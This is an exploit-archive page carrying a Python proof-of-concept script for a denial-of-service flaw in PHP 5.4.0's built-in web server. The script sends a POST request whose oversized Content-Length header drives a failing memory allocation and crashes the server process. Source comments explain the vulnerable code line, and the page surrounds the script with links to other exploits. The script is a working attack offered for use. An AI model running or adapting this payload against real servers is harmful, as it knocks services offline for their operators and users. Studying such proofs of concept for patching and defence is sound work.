首页 | 安全文章 | 安全工具 | Exploits | 本站原创 | 关于我们 | 网站地图 | 安全论坛
  当前位置:主页>安全文章>文章资料>Exploits>文章内容
PHP 5.4.0 Built-in Web Server DoS PoC
来源:contact@kaankivilcim.com 作者:ls 发布时间:2012-03-26  

#!/usr/bin/python

# Title:      PHP 5.4.0 Built-in Web Server DoS PoC
# Date:       16 March 2012
# Author:     ls (contact@kaankivilcim.com)
# Reference:  https://bugs.php.net/bug.php?id=61461
# Comments:   Fixed in PHP 5.4.1RC1-DEV and 5.5.0-DEV

# The value of the Content-Length header is passed directly to a pemalloc() call in sapi/cli/php_cli_server.c
# on line 1538. The inline function defined within Zend/zend_alloc.h for malloc() will fail, and will terminate
# the process with the error message "Out of memory".
#
# 1537 if (!client->request.content) {
# 1538   client->request.content = pemalloc(parser->content_length, 1);
# 1539   client->request.content_len = 0;
# 1540 }
#
# PHP 5.4.0 Development Server started at Tue Mar 13 19:41:45 2012
# Listening on 127.0.0.1:80
# Document root is /tmp
# Press Ctrl-C to quit.
# Out of memory

import socket, sys

target = "127.0.0.1"
port   = 80;

request  = "POST / HTTP/1.1\n"
request += "Content-Type: application/x-www-form-urlencoded\n"
request += "Content-Length: 2147483638\n\n" # <-- Choose size larger than the available memory on target
request += "A=B\n\n"

s = socket.socket(socket.AF_INET, socket.SOCK_STREAM)

try:
  s.connect((target, port))
except:
  print "[-] Connection to %s:%s failed!" % (target, port)
  sys.exit(0)

print "[+] Sending HTTP request. Check for crash on target."

s.send(request)
s.close()


 
[推荐] [评论(0条)] [返回顶部] [打印本页] [关闭窗口]  
匿名评论
评论内容:(不能超过250字,需审核后才会公布,请自觉遵守互联网相关政策法规。
 §最新评论:
  热点文章
·CVE-2012-0217 Intel sysret exp
·Linux Kernel 2.6.32 Local Root
·Array Networks vxAG / xAPV Pri
·Novell NetIQ Privileged User M
·Array Networks vAPV / vxAG Cod
·Excel SLYK Format Parsing Buff
·PhpInclude.Worm - PHP Scripts
·Apache 2.2.0 - 2.2.11 Remote e
·VideoScript 3.0 <= 4.0.1.50 Of
·Yahoo! Messenger Webcam 8.1 Ac
·Family Connections <= 1.8.2 Re
·Joomla Component EasyBook 1.1
  相关文章
·FreePBX 2.10.0 / 2.9.0 callmen
·Pale Moon Web Browser v11.0 (M
·Ricoh DC DL-10 SR10 FTP USER C
·Microsoft Games Chess.exe DOS
·mmPlayer 2.2 (.ppl) Local Buff
·Apache Struts2 Local Code Exec
·mmPlayer 2.2 (.m3u) Local Buff
·phpFox <= 3.0.1 (ajax.php) Rem
·Spotify 0.8.2.610 (search func
·UltraVNC 1.0.2 Client (vncview
·FreePBX 2.10.0 / Elastix 2.2.0
·Serendipity PHP Weblog System
  推荐广告
CopyRight © 2002-2022 VFocuS.Net All Rights Reserved